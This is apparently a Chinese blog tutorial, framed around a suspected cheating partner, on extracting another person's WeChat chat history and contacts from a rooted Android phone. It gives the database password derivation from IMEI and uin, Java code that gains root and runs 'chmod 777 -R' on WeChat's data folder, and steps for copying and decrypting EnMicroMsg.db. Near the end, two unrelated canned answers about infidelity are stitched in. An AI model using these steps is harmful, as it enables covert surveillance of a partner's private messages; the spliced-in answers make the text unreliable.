【黑客技术|信息安全】怀疑另一半出轨怎么办?不联网也能提取他的微信聊天记录和通讯录!

最近很多人留言问能不能获取取微信里面的通讯录,聊天记录等等,我们依次尝试的如下几个方案:总体来说已经实现。

我们是怎么知道微信把用户以及聊天的信息存到了本地数据库呢?

在这里插入图片描述

当我们打开手机的飞行模式的时候,打开微信,依旧可以看到里面的通讯录以及聊天记录。那么就说明微信肯定是将你能看到的所有信息都保存在了本地数据库里面,只是他将本地数据库加了密。既然存在了本地,我们就有办法把它取出来。

本地数据库的密码是什么呢?

静态破解数据库,我就直接介绍下微信本地数据库的加密规则了:

1.获取手机IMEI码

2.获取当前登录微信账号的uin(存储在sp里面)

3.拼接IMEI和uin

4.将拼接完的字符串进行md5加密

5.截取加完密的字符串的前七位(字母必须为小写)

那七位字符串就是数据库的密码了。因为微信已经有数亿的用户了,并且本地数据库又是存在用户的手机上,所以微信肯定不会轻易的对数据库进行大规模修改,所以密码的加密规则也是不可能变的!

适用范围:已经获取root权限的手机

如果你的手机没有root,那下面的代码对你手机都是无效的哦~

下面正式进入主题

如果你也想学习黑客技术,有全套的黑客教程视频,里面的内容不管你是刚入门还是零基础的小白都是可以学的,

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

一、大致浏览下微信的目录

1.连接上你的手机,打开开发者模式

2.打开Android Device Monitor
在这里插入图片描述
3.进入到File Explorer子页,查看微信目录 /data/data/com.tencent.mm
在这里插入图片描述

如果你发现文件夹打不开,或者发现点击/data目录里面没有内容,可能是因为没有权限,请在Command中依次执行如下命令:

在这里插入图片描述

大概的介绍下微信的目录结构,本地数据库都在MicroMsg文件夹里面,SharedPerferences文件都在shared_prefs文件夹里面。之前说的获取数据库密码时候需要的uin就是存在微信的SharedPreferences里面,对应的是 /data/data/com.tencent.mm/shared_prefs文件夹。

在这里插入图片描述
微信的本地数据库存放在 /data/data/com.tencent.mm/MicroMsg里面的一长串字符串的目录里面
在这里插入图片描述
注意:如果你登录过多个账号就会出现多个此类的文件夹,所以我们在之后的代码中会通过循环来查找当前登录用户对应的数据库文件

二、授予当前app管理员权限以及修改微信目录的读写权限

最好在app一启动就执行下面的代码,并且在每次获取数据库内容的时候也要再次执行,避免出现无权限读取微信相关文件的异常

public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";

execRootCmd("chmod 777 -R " + WX_ROOT_PATH);

/**

* 执行linux指令

*

* @param paramString

*/

public void execRootCmd(String paramString) {

try {

Process localProcess = Runtime.getRuntime().exec("su");

Object localObject = localProcess.getOutputStream();

DataOutputStream localDataOutputStream = new DataOutputStream((OutputStream) localObject);

String str = String.valueOf(paramString);

localObject = str + " ";

localDataOutputStream.writeBytes((String) localObject);

localDataOutputStream.flush();

localDataOutputStream.writeBytes("exit ");

localDataOutputStream.flush();

localProcess.waitFor();

localObject = localProcess.exitValue();

} catch (Exception localException) {

localException.printStackTrace();

每次准备读取数据库之前都需要执行一次该命令。Process localProcess = Runtime.getRuntime().exec(“su”)先通过这个命令,使得当前app获取到root权限,然后再通过chmod命令来修改微信的data目录的读写权限,因为我们需要操作读取微信的数据库文件以及sp文件,所以必须要有微信文件的操作权限。

获取手机IMEI

IMEI的获取方法就很简单了,相信各位都知道吧。唯一注意的就是要添加权限

获取微信的uin

微信的uin是存储在SharedPerferences里面,所以我们要在微信目录的shared_prefs文件夹里面查找其存放的xml文件,然后去解析它。

/**

* 获取微信的uid

* 微信的uid存储在SharedPreferences里面

* 存储位置datadatacom.tencent.mmshared_prefsauth_info_key_prefs.xml

*/

private void initCurrWxUin() {

mCurrWxUin = null;

File file = new File(WX_SP_UIN_PATH);

try {

FileInputStream in = new FileInputStream(file);

SAXReader saxReader = new SAXReader();

Document document = saxReader.read(in);

Element root = document.getRootElement();

List<Element> elements = root.elements();

for (Element element : elements) {

if ("_auth_uin".equals(element.attributeValue("name"))) {

mCurrWxUin = element.attributeValue("value");

}

}

} catch (Exception e) {

e.printStackTrace();

LogUtil.log("获取微信uid失败,请检查auth_info_key_prefs文件权限");

微信的uin是存放在sharedPerferences文件夹里面的,具体路径为datadatacom.tencent.mmshared_prefsauth_info_key_prefs.xml。让我们来打开这个xml文件看看里面到底是什么样子的,还有我们需要的uin到底是存放在什么地方:
在这里插入图片描述
我们解析xml用的dom4j这个库里面的SAXReader,如果没有这个库的同学可以去这里下载

五、生成数据库密码

这一步比较容易,通过拼接字符串以及md5加密后就可以获取到数据库的密码

六、查找微信目录下的数据库文件

因为我们需要通过密码来连接微信的EnMicroMsg.db文件,所以我们需要先通过匹配算法把我们需要的db文件给查找出来。如果该手机的用户切换过登录账号,那么每个账号都会生成一个EnMicroMsg.db,所以我们要把所有的db文件都给匹配出来。

七、连接数据库

终于到了最关键的一步了。这时候需要注意两点:

1.我们千万不可以直接通过net.sqlcipher.database.SQLiteDatabase这个类来连接我们上一步里面查找到的微信目录下的EnMicroMsg.db文件,可能是因为一个数据库文件不能被多次连接的情况,只要我们一成功连接上那个db文件,微信的客户端就会自动退出登录,并且会出现异常。所有我现在的做法是把这个db文件拷贝到我们自己的app目录下,再进行连接。

2.当我们有多账号登录过,就会存在多个EnMicroMsg.db文件,但是我们的数据库密码只有一个,也就是说通过这个密码能连接成功的数据库就表明是当前微信登录用户的数据库。因为sqlcipher这个库中没有提供校验密码的方法,所以我们只能每次通过强行连接来判断密码是否正确,如果正确的话代码就会正常执行,错误的话就会抛出异常,因此我们要在这个方法外面加上try-catch来处理密码错误的异常。

### 回答1: 很抱歉听到你遇到这样的困境。如果你觉得自己受到了不公平对待,你可以考虑以下几种途径来解决问题: 1. 寻求咨询: 可以咨询专业人士,例如心理医生、婚姻家庭咨询师等,以获得支持和建议。 2. 与亲友倾诉: 可以和信任的亲友倾诉心声,得到安慰和鼓励。 3. 寻求法律帮助: 如果涉及到法律问题,可以寻求法律帮助,了解自己的权利和义务。 4. 对自己好一点:保护好自己的身心健康,多参加有意义的活动,与正面的人交往,对自己好一点。 请注意,以上建议不能代替专业咨询,具体的处理方式应该因人而异,请根据自己的具体情况选择最合适的方法。 ### 回答2: 面对渣男骗炮和出轨这样的不忠行为,我认为应该坚决地采取行动,保护自己的利益和尊严。下面是我建议的几点: 首先,坚守原则。不要被渣男的甜言蜜语迷惑,要清醒地认识到他的真实面目。不要容忍他的不忠行为,坚决不原谅他的背叛和欺骗。 其次,做好心理准备。面对这样的情况,会产生很大的情绪波动和伤害。要对自己进行心理调适,保持冷静和清晰的思考,不要被情绪所左右。 第三,争取公正。如果渣男对你进行了财产上的欺诈或其他不公正行为,可以向法律寻求帮助,维护自己的权益。 第四,与身边的人寻求支持。找到信任的朋友或家人,向他们倾诉自己的遭遇,寻求理解和支持。他们会给予你安慰和建议,帮助你渡过难关。 第五,重整心态。别让渣男的行为影响自己的自信和幸福感。要时刻提醒自己,这并不是你的错,真正伤害你的是那个不负责任的人。 最后,向前看。渣男的离去只是人生中的一段插曲,不要被过去所困扰和束缚。学会放下,重新开始,追求更加美好的未来。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值